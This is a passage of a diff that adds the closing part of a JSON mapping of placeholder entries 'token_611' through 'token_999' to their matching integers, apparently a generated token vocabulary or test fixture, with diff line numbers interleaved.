+ "token_611": 611,
617
+ "token_612": 612,
618
+ "token_613": 613,
619
+ "token_614": 614,
620
+ "token_615": 615,
621
+ "token_616": 616,
622
+ "token_617": 617,
623
+ "token_618": 618,
624
+ "token_619": 619,
625
+ "token_620": 620,
626
+ "token_621": 621,
627
+ "token_622": 622,
628
+ "token_623": 623,
629
+ "token_624": 624,
630
+ "token_625": 625,
631
+ "token_626": 626,
632
+ "token_627": 627,
633
+ "token_628": 628,
634
+ "token_629": 629,
635
+ "token_630": 630,
636
+ "token_631": 631,
637
+ "token_632": 632,
638
+ "token_633": 633,
639
+ "token_634": 634,
640
+ "token_635": 635,
641
+ "token_636": 636,
642
+ "token_637": 637,
643
+ "token_638": 638,
644
+ "token_639": 639,
645
+ "token_640": 640,
646
+ "token_641": 641,
647
+ "token_642": 642,
648
+ "token_643": 643,
649
+ "token_644": 644,
650
+ "token_645": 645,
651
+ "token_646": 646,
652
+ "token_647": 647,
653
+ "token_648": 648,
654
+ "token_649": 649,
655
+ "token_650": 650,
656
+ "token_651": 651,
657
+ "token_652": 652,
658
+ "token_653": 653,
659
+ "token_654": 654,
660
+ "token_655": 655,
661
+ "token_656": 656,
662
+ "token_657": 657,
663
+ "token_658": 658,
664
+ "token_659": 659,
665
+ "token_660": 660,
666
+ "token_661": 661,
667
+ "token_662": 662,
668
+ "token_663": 663,
669
+ "token_664": 664,
670
+ "token_665": 665,
671
+ "token_666": 666,
672
+ "token_667": 667,
673
+ "token_668": 668,
674
+ "token_669": 669,
675
+ "token_670": 670,
676
+ "token_671": 671,
677
+ "token_672": 672,
678
+ "token_673": 673,
679
+ "token_674": 674,
680
+ "token_675": 675,
681
+ "token_676": 676,
682
+ "token_677": 677,
683
+ "token_678": 678,
684
+ "token_679": 679,
685
+ "token_680": 680,
686
+ "token_681": 681,
687
+ "token_682": 682,
688
+ "token_683": 683,
689
+ "token_684": 684,
690
+ "token_685": 685,
691
+ "token_686": 686,
692
+ "token_687": 687,
693
+ "token_688": 688,
694
+ "token_689": 689,
695
+ "token_690": 690,
696
+ "token_691": 691,
697
+ "token_692": 692,
698
+ "token_693": 693,
699
+ "token_694": 694,
700
+ "token_695": 695,
701
+ "token_696": 696,
702
+ "token_697": 697,
703
+ "token_698": 698,
704
+ "token_699": 699,
705
+ "token_700": 700,
706
+ "token_701": 701,
707
+ "token_702": 702,
708
+ "token_703": 703,
709
+ "token_704": 704,
710
+ "token_705": 705,
711
+ "token_706": 706,
712
+ "token_707": 707,
713
+ "token_708": 708,
714
+ "token_709": 709,
715
+ "token_710": 710,
716
+ "token_711": 711,
717
+ "token_712": 712,
718
+ "token_713": 713,
719
+ "token_714": 714,
720
+ "token_715": 715,
721
+ "token_716": 716,
722
+ "token_717": 717,
723
+ "token_718": 718,
724
+ "token_719": 719,
725
+ "token_720": 720,
726
+ "token_721": 721,
727
+ "token_722": 722,
728
+ "token_723": 723,
729
+ "token_724": 724,
730
+ "token_725": 725,
731
+ "token_726": 726,
732
+ "token_727": 727,
733
+ "token_728": 728,
734
+ "token_729": 729,
735
+ "token_730": 730,
736
+ "token_731": 731,
737
+ "token_732": 732,
738
+ "token_733": 733,
739
+ "token_734": 734,
740
+ "token_735": 735,
741
+ "token_736": 736,
742
+ "token_737": 737,
743
+ "token_738": 738,
744
+ "token_739": 739,
745
+ "token_740": 740,
746
+ "token_741": 741,
747
+ "token_742": 742,
748
+ "token_743": 743,
749
+ "token_744": 744,
750
+ "token_745": 745,
751
+ "token_746": 746,
752
+ "token_747": 747,
753
+ "token_748": 748,
754
+ "token_749": 749,
755
+ "token_750": 750,
756
+ "token_751": 751,
757
+ "token_752": 752,
758
+ "token_753": 753,
759
+ "token_754": 754,
760
+ "token_755": 755,
761
+ "token_756": 756,
762
+ "token_757": 757,
763
+ "token_758": 758,
764
+ "token_759": 759,
765
+ "token_760": 760,
766
+ "token_761": 761,
767
+ "token_762": 762,
768
+ "token_763": 763,
769
+ "token_764": 764,
770
+ "token_765": 765,
771
+ "token_766": 766,
772
+ "token_767": 767,
773
+ "token_768": 768,
774
+ "token_769": 769,
775
+ "token_770": 770,
776
+ "token_771": 771,
777
+ "token_772": 772,
778
+ "token_773": 773,
779
+ "token_774": 774,
780
+ "token_775": 775,
781
+ "token_776": 776,
782
+ "token_777": 777,
783
+ "token_778": 778,
784
+ "token_779": 779,
785
+ "token_780": 780,
786
+ "token_781": 781,
787
+ "token_782": 782,
788
+ "token_783": 783,
789
+ "token_784": 784,
790
+ "token_785": 785,
791
+ "token_786": 786,
792
+ "token_787": 787,
793
+ "token_788": 788,
794
+ "token_789": 789,
795
+ "token_790": 790,
796
+ "token_791": 791,
797
+ "token_792": 792,
798
+ "token_793": 793,
799
+ "token_794": 794,
800
+ "token_795": 795,
801
+ "token_796": 796,
802
+ "token_797": 797,
803
+ "token_798": 798,
804
+ "token_799": 799,
805
+ "token_800": 800,
806
+ "token_801": 801,
807
+ "token_802": 802,
808
+ "token_803": 803,
809
+ "token_804": 804,
810
+ "token_805": 805,
811
+ "token_806": 806,
812
+ "token_807": 807,
813
+ "token_808": 808,
814
+ "token_809": 809,
815
+ "token_810": 810,
816
+ "token_811": 811,
817
+ "token_812": 812,
818
+ "token_813": 813,
819
+ "token_814": 814,
820
+ "token_815": 815,
821
+ "token_816": 816,
822
+ "token_817": 817,
823
+ "token_818": 818,
824
+ "token_819": 819,
825
+ "token_820": 820,
826
+ "token_821": 821,
827
+ "token_822": 822,
828
+ "token_823": 823,
829
+ "token_824": 824,
830
+ "token_825": 825,
831
+ "token_826": 826,
832
+ "token_827": 827,
833
+ "token_828": 828,
834
+ "token_829": 829,
835
+ "token_830": 830,
836
+ "token_831": 831,
837
+ "token_832": 832,
838
+ "token_833": 833,
839
+ "token_834": 834,
840
+ "token_835": 835,
841
+ "token_836": 836,
842
+ "token_837": 837,
843
+ "token_838": 838,
844
+ "token_839": 839,
845
+ "token_840": 840,
846
+ "token_841": 841,
847
+ "token_842": 842,
848
+ "token_843": 843,
849
+ "token_844": 844,
850
+ "token_845": 845,
851
+ "token_846": 846,
852
+ "token_847": 847,
853
+ "token_848": 848,
854
+ "token_849": 849,
855
+ "token_850": 850,
856
+ "token_851": 851,
857
+ "token_852": 852,
858
+ "token_853": 853,
859
+ "token_854": 854,
860
+ "token_855": 855,
861
+ "token_856": 856,
862
+ "token_857": 857,
863
+ "token_858": 858,
864
+ "token_859": 859,
865
+ "token_860": 860,
866
+ "token_861": 861,
867
+ "token_862": 862,
868
+ "token_863": 863,
869
+ "token_864": 864,
870
+ "token_865": 865,
871
+ "token_866": 866,
872
+ "token_867": 867,
873
+ "token_868": 868,
874
+ "token_869": 869,
875
+ "token_870": 870,
876
+ "token_871": 871,
877
+ "token_872": 872,
878
+ "token_873": 873,
879
+ "token_874": 874,
880
+ "token_875": 875,
881
+ "token_876": 876,
882
+ "token_877": 877,
883
+ "token_878": 878,
884
+ "token_879": 879,
885
+ "token_880": 880,
886
+ "token_881": 881,
887
+ "token_882": 882,
888
+ "token_883": 883,
889
+ "token_884": 884,
890
+ "token_885": 885,
891
+ "token_886": 886,
892
+ "token_887": 887,
893
+ "token_888": 888,
894
+ "token_889": 889,
895
+ "token_890": 890,
896
+ "token_891": 891,
897
+ "token_892": 892,
898
+ "token_893": 893,
899
+ "token_894": 894,
900
+ "token_895": 895,
901
+ "token_896": 896,
902
+ "token_897": 897,
903
+ "token_898": 898,
904
+ "token_899": 899,
905
+ "token_900": 900,
906
+ "token_901": 901,
907
+ "token_902": 902,
908
+ "token_903": 903,
909
+ "token_904": 904,
910
+ "token_905": 905,
911
+ "token_906": 906,
912
+ "token_907": 907,
913
+ "token_908": 908,
914
+ "token_909": 909,
915
+ "token_910": 910,
916
+ "token_911": 911,
917
+ "token_912": 912,
918
+ "token_913": 913,
919
+ "token_914": 914,
920
+ "token_915": 915,
921
+ "token_916": 916,
922
+ "token_917": 917,
923
+ "token_918": 918,
924
+ "token_919": 919,
925
+ "token_920": 920,
926
+ "token_921": 921,
927
+ "token_922": 922,
928
+ "token_923": 923,
929
+ "token_924": 924,
930
+ "token_925": 925,
931
+ "token_926": 926,
932
+ "token_927": 927,
933
+ "token_928": 928,
934
+ "token_929": 929,
935
+ "token_930": 930,
936
+ "token_931": 931,
937
+ "token_932": 932,
938
+ "token_933": 933,
939
+ "token_934": 934,
940
+ "token_935": 935,
941
+ "token_936": 936,
942
+ "token_937": 937,
943
+ "token_938": 938,
944
+ "token_939": 939,
945
+ "token_940": 940,
946
+ "token_941": 941,
947
+ "token_942": 942,
948
+ "token_943": 943,
949
+ "token_944": 944,
950
+ "token_945": 945,
951
+ "token_946": 946,
952
+ "token_947": 947,
953
+ "token_948": 948,
954
+ "token_949": 949,
955
+ "token_950": 950,
956
+ "token_951": 951,
957
+ "token_952": 952,
958
+ "token_953": 953,
959
+ "token_954": 954,
960
+ "token_955": 955,
961
+ "token_956": 956,
962
+ "token_957": 957,
963
+ "token_958": 958,
964
+ "token_959": 959,
965
+ "token_960": 960,
966
+ "token_961": 961,
967
+ "token_962": 962,
968
+ "token_963": 963,
969
+ "token_964": 964,
970
+ "token_965": 965,
971
+ "token_966": 966,
972
+ "token_967": 967,
973
+ "token_968": 968,
974
+ "token_969": 969,
975
+ "token_970": 970,
976
+ "token_971": 971,
977
+ "token_972": 972,
978
+ "token_973": 973,
979
+ "token_974": 974,
980
+ "token_975": 975,
981
+ "token_976": 976,
982
+ "token_977": 977,
983
+ "token_978": 978,
984
+ "token_979": 979,
985
+ "token_980": 980,
986
+ "token_981": 981,
987
+ "token_982": 982,
988
+ "token_983": 983,
989
+ "token_984": 984,
990
+ "token_985": 985,
991
+ "token_986": 986,
992
+ "token_987": 987,
993
+ "token_988": 988,
994
+ "token_989": 989,
995
+ "token_990": 990,
996
+ "token_991": 991,
997
+ "token_992": 992,
998
+ "token_993": 993,
999
+ "token_994": 994,
1000
+ "token_995": 995,
1001
+ "token_996": 996,
1002
+ "token_997": 997,
1003
+ "token_998": 998,
1004
+ "token_999": 999
1005
+ }